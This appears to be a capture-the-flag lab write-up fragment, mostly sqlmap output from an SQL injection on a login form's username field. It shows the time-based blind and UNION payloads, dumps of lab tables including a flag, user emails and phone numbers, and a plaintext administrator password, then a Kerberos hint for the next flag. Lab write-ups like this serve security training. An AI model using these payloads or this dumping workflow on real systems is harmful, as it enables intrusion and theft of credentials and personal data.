E:\python3.12.8\sqlmap>python sqlmap.py -r 1.txt --dump ___ __H__ ___ ___[(]_____ ___ ___ {1.9.2.15#dev} |_ -| . [)] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:03:33 /2025-11-07/
[12:03:33] [INFO] parsing HTTP request from '1.txt' [12:03:33] [INFO] resuming back-end DBMS 'mysql' [12:03:33] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 2006 FROM (SELECT(SLEEP(5)))itLY) AND 'bmqV'='bmqV&password=1
Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: username=admin' UNION ALL SELECT NULL,CONCAT(0x71787a6b71,0x51775871614e7456674c64746e6d524b726a43737a7265596a46466570627a4371456d4b656c796b,0x7162787171),NULL-- -&password=1 --- [12:03:34] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [12:03:34] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [12:03:34] [INFO] fetching current database [12:03:34] [INFO] fetching tables for database: 'oa_db' [12:03:34] [INFO] fetching columns for table 'oa_f1Agggg' in database 'oa_db' [12:03:34] [INFO] fetching entries for table 'oa_f1Agggg' in database 'oa_db' Database: oa_db Table: oa_f1Agggg [1 entry] +----+--------------------------------------------+ | id | flag02 | +----+--------------------------------------------+ | 1 | flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} | +----+--------------------------------------------+ [12:03:34] [INFO] table 'oa_db.oa_f1Agggg' dumped to CSV file 'C:\Users\23232\AppData\Local\sqlmap\output\172.22.6.38\dump\oa_db\oa_f1Agggg.csv' [12:03:34] [INFO] fetching columns for table 'oa_users' in database 'oa_db' [12:03:34] [INFO] fetching entries for table 'oa_users' in database 'oa_db' Database: oa_db Table: oa_users [500 entries] +-----+----------------------------+-------------+-----------------+ | id | email | phone | username | +-----+----------------------------+-------------+-----------------+ [12:03:34] [WARNING] console output will be trimmed to last 256 rows due to large table size | 245 | chenyan@xiaorang.lab | 18281528743 | CHEN YAN | | 246 | tanggui@xiaorang.lab | 18060615547 | TANG GUI | | 247 | buning@xiaorang.lab | 13046481392 | BU NING | | 248 | beishu@xiaorang.lab | 18268508400 | BEI SHU | | 249 | shushi@xiaorang.lab | 17770383196 | SHU SHI | | 250 | fuyi@xiaorang.lab | 18902082658 | FU YI | | 251 | pangcheng@xiaorang.lab | 18823789530 | PANG CHENG | | 252 | tonghao@xiaorang.lab | 13370873526 | TONG HAO | | 253 | jiaoshan@xiaorang.lab | 15375905173 | JIAO SHAN | | 254 | dulun@xiaorang.lab | 13352331157 | DU LUN | | 255 | kejuan@xiaorang.lab | 13222550481 | KE JUAN | | 256 | gexin@xiaorang.lab | 18181553086 | GE XIN | | 257 | lugu@xiaorang.lab | 18793883130 | LU GU | | 258 | guzaicheng@xiaorang.lab | 15309377043 | GU ZAI CHENG | | 259 | feicai@xiaorang.lab | 13077435367 | FEI CAI | | 260 | ranqun@xiaorang.lab | 18239164662 | RAN QUN | | 261 | zhouyi@xiaorang.lab | 13169264671 | ZHOU YI | | 262 | shishu@xiaorang.lab | 18592890189 | SHI SHU | | 263 | yanyun@xiaorang.lab | 15071085768 | YAN YUN | | 264 | chengqiu@xiaorang.lab | 13370162980 | CHENG QIU | | 265 | louyou@xiaorang.lab | 13593582379 | LOU YOU | | 266 | maqun@xiaorang.lab | 15235945624 | MA QUN | | 267 | wenbiao@xiaorang.lab | 13620643639 | WEN BIAO | | 268 | weishengshan@xiaorang.lab | 18670502260 | WEI SHENG SHAN | | 269 | zhangxin@xiaorang.lab | 15763185760 | ZHANG XIN | | 270 | chuyuan@xiaorang.lab | 18420545268 | CHU YUAN | | 271 | wenliang@xiaorang.lab | 13601678032 | WEN LIANG | | 272 | yulvxue@xiaorang.lab | 18304374901 | YU LV XUE | | 273 | luyue@xiaorang.lab | 18299785575 | LU YUE | | 274 | ganjian@xiaorang.lab | 18906111021 | GAN JIAN | | 275 | pangzhen@xiaorang.lab | 13479328562 | PANG ZHEN | | 276 | guohong@xiaorang.lab | 18510220597 | GUO HONG | | 277 | lezhong@xiaorang.lab | 15320909285 | LE ZHONG | | 278 | sheweiyue@xiaorang.lab | 13736399596 | SHE WEI YUE | | 279 | dujian@xiaorang.lab | 15058892639 | DU JIAN | | 280 | lidongjin@xiaorang.lab | 18447207007 | LI DONG JIN | | 281 | hongqun@xiaorang.lab | 15858462251 | HONG QUN | | 282 | yexing@xiaorang.lab | 13719043564 | YE XING | | 283 | maoda@xiaorang.lab | 13878840690 | MAO DA | | 284 | qiaomei@xiaorang.lab | 13053207462 | QIAO MEI | | 285 | nongzhen@xiaorang.lab | 15227699960 | NONG ZHEN | | 286 | dongshu@xiaorang.lab | 15695562947 | DONG SHU | | 287 | zhuzhu@xiaorang.lab | 13070163385 | ZHU ZHU | | 288 | jiyun@xiaorang.lab | 13987332999 | JI YUN | | 289 | qiguanrou@xiaorang.lab | 15605983582 | QI GUAN ROU | | 290 | yixue@xiaorang.lab | 18451603140 | YI XUE | | 291 | chujun@xiaorang.lab | 15854942459 | CHU JUN | | 292 | shenshan@xiaorang.lab | 17712052191 | SHEN SHAN | | 293 | lefen@xiaorang.lab | 13271196544 | LE FEN | | 294 | yubo@xiaorang.lab | 13462202742 | YU BO | | 295 | helianrui@xiaorang.lab | 15383000907 | HE LIAN RUI | | 296 | xuanqun@xiaorang.lab | 18843916267 | XUAN QUN | | 297 | shangjun@xiaorang.lab | 15162486698 | SHANG JUN | | 298 | huguang@xiaorang.lab | 18100586324 | HU GUANG | | 299 | wansifu@xiaorang.lab | 18494761349 | WAN SI FU | | 300 | fenghong@xiaorang.lab | 13536727314 | FENG HONG | | 301 | wanyan@xiaorang.lab | 17890844429 | WAN YAN | | 302 | diyan@xiaorang.lab | 18534028047 | DI YAN | | 303 | xiangyu@xiaorang.lab | 13834043047 | XIANG YU | | 304 | songyan@xiaorang.lab | 15282433280 | SONG YAN | | 305 | fandi@xiaorang.lab | 15846960039 | FAN DI | | 306 | xiangjuan@xiaorang.lab | 18120327434 | XIANG JUAN | | 307 | beirui@xiaorang.lab | 18908661803 | BEI RUI | | 308 | didi@xiaorang.lab | 13413041463 | DI DI | | 309 | zhubin@xiaorang.lab | 15909558554 | ZHU BIN | | 310 | lingchun@xiaorang.lab | 13022790678 | LING CHUN | | 311 | zhenglu@xiaorang.lab | 13248244873 | ZHENG LU | | 312 | xundi@xiaorang.lab | 18358493414 | XUN DI | | 313 | wansishun@xiaorang.lab | 18985028319 | WAN SI SHUN | | 314 | yezongyue@xiaorang.lab | 13866302416 | YE ZONG YUE | | 315 | bianmei@xiaorang.lab | 18540879992 | BIAN MEI | | 316 | shanshao@xiaorang.lab | 18791488918 | SHAN SHAO | | 317 | zhenhui@xiaorang.lab | 13736784817 | ZHEN HUI | | 318 | chengli@xiaorang.lab | 15913267394 | CHENG LI | | 319 | yufen@xiaorang.lab | 18432795588 | YU FEN | | 320 | jiyi@xiaorang.lab | 13574211454 | JI YI | | 321 | panbao@xiaorang.lab | 13675851303 | PAN BAO | | 322 | mennane@xiaorang.lab | 15629706208 | MEN NAN E | | 323 | fengsi@xiaorang.lab | 13333432577 | FENG SI | | 324 | mingyan@xiaorang.lab | 18296909463 | MING YAN | | 325 | luoyou@xiaorang.lab | 15759321415 | LUO YOU | | 326 | liangduanqing@xiaorang.lab | 13150744785 | LIANG DUAN QING | | 327 | nongyan@xiaorang.lab | 18097386975 | NONG YAN | | 328 | haolun@xiaorang.lab | 15152700465 | HAO LUN | | 329 | oulun@xiaorang.lab | 13402760696 | OU LUN | | 330 | weichipeng@xiaorang.lab | 18057058937 | WEI CHI PENG | | 331 | qidiaofang@xiaorang.lab | 18728297829 | QI DIAO FANG | | 332 | xuehe@xiaorang.lab | 13398862169 | XUE HE | | 333 | chensi@xiaorang.lab | 18030178713 | CHEN SI | | 334 | guihui@xiaorang.lab | 17882514129 | GUI HUI | | 335 | fuyue@xiaorang.lab | 18298436549 | FU YUE | | 336 | wangxing@xiaorang.lab | 17763645267 | WANG XING | | 337 | zhengxiao@xiaorang.lab | 18673968392 | ZHENG XIAO | | 338 | guhui@xiaorang.lab | 15166711352 | GU HUI | | 339 | baoai@xiaorang.lab | 15837430827 | BAO AI | | 340 | hangzhao@xiaorang.lab | 13235488232 | HANG ZHAO | | 341 | xingye@xiaorang.lab | 13367587521 | XING YE | | 342 | qianyi@xiaorang.lab | 18657807767 | QIAN YI | | 343 | xionghong@xiaorang.lab | 17725874584 | XIONG HONG | | 344 | zouqi@xiaorang.lab | 15300430128 | ZOU QI | | 345 | rongbiao@xiaorang.lab | 13034242682 | RONG BIAO | | 346 | gongxin@xiaorang.lab | 15595839880 | GONG XIN | | 347 | luxing@xiaorang.lab | 18318675030 | LU XING | | 348 | huayan@xiaorang.lab | 13011805354 | HUA YAN | | 349 | duyue@xiaorang.lab | 15515878208 | DU YUE | | 350 | xijun@xiaorang.lab | 17871583183 | XI JUN | | 351 | daiqing@xiaorang.lab | 18033226216 | DAI QING | | 352 | yingbiao@xiaorang.lab | 18633421863 | YING BIAO | | 353 | hengteng@xiaorang.lab | 15956780740 | HENG TENG | | 354 | changwu@xiaorang.lab | 15251485251 | CHANG WU | | 355 | chengying@xiaorang.lab | 18788248715 | CHENG YING | | 356 | luhong@xiaorang.lab | 17766091079 | LU HONG | | 357 | tongxue@xiaorang.lab | 18466102780 | TONG XUE | | 358 | xiangqian@xiaorang.lab | 13279611385 | XIANG QIAN | | 359 | shaokang@xiaorang.lab | 18042645434 | SHAO KANG | | 360 | nongzhu@xiaorang.lab | 13934236634 | NONG ZHU | | 361 | haomei@xiaorang.lab | 13406913218 | HAO MEI | | 362 | maoqing@xiaorang.lab | 15713298425 | MAO QING | | 363 | xiai@xiaorang.lab | 18148404789 | XI AI | | 364 | bihe@xiaorang.lab | 13628593791 | BI HE | | 365 | gaoli@xiaorang.lab | 15814408188 | GAO LI | | 366 | jianggong@xiaorang.lab | 15951118926 | JIANG GONG | | 367 | pangning@xiaorang.lab | 13443921700 | PANG NING | | 368 | ruishi@xiaorang.lab | 15803112819 | RUI SHI | | 369 | wuhuan@xiaorang.lab | 13646953078 | WU HUAN | | 370 | qiaode@xiaorang.lab | 13543564200 | QIAO DE | | 371 | mayong@xiaorang.lab | 15622971484 | MA YONG | | 372 | hangda@xiaorang.lab | 15937701659 | HANG DA | | 373 | changlu@xiaorang.lab | 13734991654 | CHANG LU | | 374 | liuyuan@xiaorang.lab | 15862054540 | LIU YUAN | | 375 | chenggu@xiaorang.lab | 15706685526 | CHENG GU | | 376 | shentuyun@xiaorang.lab | 15816902379 | SHEN TU YUN | | 377 | zhuangsong@xiaorang.lab | 17810274262 | ZHUANG SONG | | 378 | chushao@xiaorang.lab | 18822001640 | CHU SHAO | | 379 | heli@xiaorang.lab | 13701347081 | HE LI | | 380 | haoming@xiaorang.lab | 15049615282 | HAO MING | | 381 | xieyi@xiaorang.lab | 17840660107 | XIE YI | | 382 | shangjie@xiaorang.lab | 15025010410 | SHANG JIE | | 383 | situxin@xiaorang.lab | 18999728941 | SI TU XIN | | 384 | linxi@xiaorang.lab | 18052976097 | LIN XI | | 385 | zoufu@xiaorang.lab | 15264535633 | ZOU FU | | 386 | qianqing@xiaorang.lab | 18668594658 | QIAN QING | | 387 | qiai@xiaorang.lab | 18154690198 | QI AI | | 388 | ruilin@xiaorang.lab | 13654483014 | RUI LIN | | 389 | luomeng@xiaorang.lab | 15867095032 | LUO MENG | | 390 | huaren@xiaorang.lab | 13307653720 | HUA REN | | 391 | yanyangmei@xiaorang.lab | 15514015453 | YAN YANG MEI | | 392 | zuofen@xiaorang.lab | 15937087078 | ZUO FEN | | 393 | manyuan@xiaorang.lab | 18316106061 | MAN YUAN | | 394 | yuhui@xiaorang.lab | 18058257228 | YU HUI | | 395 | sunli@xiaorang.lab | 18233801124 | SUN LI | | 396 | guansixin@xiaorang.lab | 13607387740 | GUAN SI XIN | | 397 | ruisong@xiaorang.lab | 13306021674 | RUI SONG | | 398 | qiruo@xiaorang.lab | 13257810331 | QI RUO | | 399 | jinyu@xiaorang.lab | 18565922652 | JIN YU | | 400 | shoujuan@xiaorang.lab | 18512174415 | SHOU JUAN | | 401 | yanqian@xiaorang.lab | 13799789435 | YAN QIAN | | 402 | changyun@xiaorang.lab | 18925015029 | CHANG YUN | | 403 | hualu@xiaorang.lab | 13641470801 | HUA LU | | 404 | huanming@xiaorang.lab | 15903282860 | HUAN MING | | 405 | baoshao@xiaorang.lab | 13795275611 | BAO SHAO | | 406 | hongmei@xiaorang.lab | 13243605925 | HONG MEI | | 407 | manyun@xiaorang.lab | 13238107359 | MAN YUN | | 408 | changwan@xiaorang.lab | 13642205622 | CHANG WAN | | 409 | wangyan@xiaorang.lab | 13242486231 | WANG YAN | | 410 | shijian@xiaorang.lab | 15515077573 | SHI JIAN | | 411 | ruibei@xiaorang.lab | 18157706586 | RUI BEI | | 412 | jingshao@xiaorang.lab | 18858376544 | JING SHAO | | 413 | jinzhi@xiaorang.lab | 18902437082 | JIN ZHI | | 414 | yuhui@xiaorang.lab | 15215599294 | YU HUI | | 415 | zangpeng@xiaorang.lab | 18567574150 | ZANG PENG | | 416 | changyun@xiaorang.lab | 15804640736 | CHANG YUN | | 417 | yetai@xiaorang.lab | 13400150018 | YE TAI | | 418 | luoxue@xiaorang.lab | 18962643265 | LUO XUE | | 419 | moqian@xiaorang.lab | 18042706956 | MO QIAN | | 420 | xupeng@xiaorang.lab | 15881934759 | XU PENG | | 421 | ruanyong@xiaorang.lab | 15049703903 | RUAN YONG | | 422 | guliangxian@xiaorang.lab | 18674282714 | GU LIANG XIAN | | 423 | yinbin@xiaorang.lab | 15734030492 | YIN BIN | | 424 | huarui@xiaorang.lab | 17699257041 | HUA RUI | | 425 | niuya@xiaorang.lab | 13915041589 | NIU YA | | 426 | guwei@xiaorang.lab | 13584571917 | GU WEI | | 427 | qinguan@xiaorang.lab | 18427953434 | QIN GUAN | | 428 | yangdanhan@xiaorang.lab | 15215900100 | YANG DAN HAN | | 429 | yingjun@xiaorang.lab | 13383367818 | YING JUN | | 430 | weiwan@xiaorang.lab | 13132069353 | WEI WAN | | 431 | sunduangu@xiaorang.lab | 15737981701 | SUN DUAN GU | | 432 | sisiwu@xiaorang.lab | 18021600640 | SI SI WU | | 433 | nongyan@xiaorang.lab | 13312613990 | NONG YAN | | 434 | xuanlu@xiaorang.lab | 13005748230 | XUAN LU | | 435 | yunzhong@xiaorang.lab | 15326746780 | YUN ZHONG | | 436 | gengfei@xiaorang.lab | 13905027813 | GENG FEI | | 437 | zizhuansong@xiaorang.lab | 13159301262 | ZI ZHUAN SONG | | 438 | ganbailong@xiaorang.lab | 18353612904 | GAN BAI LONG | | 439 | shenjiao@xiaorang.lab | 15164719751 | SHEN JIAO | | 440 | zangyao@xiaorang.lab | 18707028470 | ZANG YAO | | 441 | yangdanhe@xiaorang.lab | 18684281105 | YANG DAN HE | | 442 | chengliang@xiaorang.lab | 13314617161 | CHENG LIANG | | 443 | xudi@xiaorang.lab | 18498838233 | XU DI | | 444 | wulun@xiaorang.lab | 18350490780 | WU LUN | | 445 | yuling@xiaorang.lab | 18835870616 | YU LING | | 446 | taoya@xiaorang.lab | 18494928860 | TAO YA | | 447 | jinle@xiaorang.lab | 15329208123 | JIN LE | | 448 | youchao@xiaorang.lab | 13332964189 | YOU CHAO | | 449 | liangduanzhi@xiaorang.lab | 15675237494 | LIANG DUAN ZHI | | 450 | jiagupiao@xiaorang.lab | 17884962455 | JIA GU PIAO | | 451 | ganze@xiaorang.lab | 17753508925 | GAN ZE | | 452 | jiangqing@xiaorang.lab | 15802357200 | JIANG QING | | 453 | jinshan@xiaorang.lab | 13831466303 | JIN SHAN | | 454 | zhengpubei@xiaorang.lab | 13690156563 | ZHENG PU BEI | | 455 | cuicheng@xiaorang.lab | 17641589842 | CUI CHENG | | 456 | qiyong@xiaorang.lab | 13485427829 | QI YONG | | 457 | qizhu@xiaorang.lab | 18838859844 | QI ZHU | | 458 | ganjian@xiaorang.lab | 18092585003 | GAN JIAN | | 459 | yurui@xiaorang.lab | 15764121637 | YU RUI | | 460 | feishu@xiaorang.lab | 18471512248 | FEI SHU | | 461 | chenxin@xiaorang.lab | 13906545512 | CHEN XIN | | 462 | shengzhe@xiaorang.lab | 18936457394 | SHENG ZHE | | 463 | wohong@xiaorang.lab | 18404022650 | WO HONG | | 464 | manzhi@xiaorang.lab | 15973350408 | MAN ZHI | | 465 | xiangdong@xiaorang.lab | 13233908989 | XIANG DONG | | 466 | weihui@xiaorang.lab | 15035834945 | WEI HUI | | 467 | xingquan@xiaorang.lab | 18304752969 | XING QUAN | | 468 | miaoshu@xiaorang.lab | 15121570939 | MIAO SHU | | 469 | gongwan@xiaorang.lab | 18233990398 | GONG WAN | | 470 | qijie@xiaorang.lab | 15631483536 | QI JIE | | 471 | shaoting@xiaorang.lab | 15971628914 | SHAO TING | | 472 | xiqi@xiaorang.lab | 18938747522 | XI QI | | 473 | jinghong@xiaorang.lab | 18168293686 | JING HONG | | 474 | qianyou@xiaorang.lab | 18841322688 | QIAN YOU | | 475 | chuhua@xiaorang.lab | 15819380754 | CHU HUA | | 476 | yanyue@xiaorang.lab | 18702474361 | YAN YUE | | 477 | huangjia@xiaorang.lab | 13006878166 | HUANG JIA | | 478 | zhouchun@xiaorang.lab | 13545820679 | ZHOU CHUN | | 479 | jiyu@xiaorang.lab | 18650881187 | JI YU | | 480 | wendong@xiaorang.lab | 17815264093 | WEN DONG | | 481 | heyuan@xiaorang.lab | 18710821773 | HE YUAN | | 482 | mazhen@xiaorang.lab | 18698248638 | MA ZHEN | | 483 | shouchun@xiaorang.lab | 15241369178 | SHOU CHUN | | 484 | liuzhe@xiaorang.lab | 18530936084 | LIU ZHE | | 485 | fengbo@xiaorang.lab | 15812110254 | FENG BO | | 486 | taigongyuan@xiaorang.lab | 15943349034 | TAI GONG YUAN | | 487 | gesheng@xiaorang.lab | 18278508909 | GE SHENG | | 488 | songming@xiaorang.lab | 13220512663 | SONG MING | | 489 | yuwan@xiaorang.lab | 15505678035 | YU WAN | | 490 | diaowei@xiaorang.lab | 13052582975 | DIAO WEI | | 491 | youyi@xiaorang.lab | 18036808394 | YOU YI | | 492 | rongxianyu@xiaorang.lab | 18839918955 | RONG XIAN YU | | 493 | fuyi@xiaorang.lab | 15632151678 | FU YI | | 494 | linli@xiaorang.lab | 17883399275 | LIN LI | | 495 | weixue@xiaorang.lab | 18672465853 | WEI XUE | | 496 | hejuan@xiaorang.lab | 13256081102 | HE JUAN | | 497 | zuoqiutai@xiaorang.lab | 18093001354 | ZUO QIU TAI | | 498 | siyi@xiaorang.lab | 17873307773 | SI YI | | 499 | shenshan@xiaorang.lab | 18397560369 | SHEN SHAN | | 500 | tongdong@xiaorang.lab | 15177549595 | TONG DONG | +-----+----------------------------+-------------+-----------------+ [12:03:34] [INFO] table 'oa_db.oa_users' dumped to CSV file 'C:\Users\23232\AppData\Local\sqlmap\output\172.22.6.38\dump\oa_db\oa_users.csv' [12:03:34] [INFO] fetching columns for table 'oa_admin' in database 'oa_db' [12:03:34] [INFO] fetching entries for table 'oa_admin' in database 'oa_db' Database: oa_db Table: oa_admin [1 entry] +----+------------------+---------------+ | id | password | username | +----+------------------+---------------+ | 1 | bo2y8kAL3HnXUiQo | administrator | +----+------------------+---------------+ [12:03:34] [INFO] table 'oa_db.oa_admin' dumped to CSV file 'C:\Users\23232\AppData\Local\sqlmap\output\172.22.6.38\dump\oa_db\oa_admin.csv' [12:03:34] [INFO] fetched data logged to text files under 'C:\Users\23232\AppData\Local\sqlmap\output\172.22.6.38' [12:03:34] [WARNING] your sqlmap version is outdated [*] ending @ 12:03:34 /2025-11-07/
直接拿到flag2
flag3
之前在flag1中提示过这段话
1 2
Do you know the authentication process of Kerberos? ......This will be the key to your progress.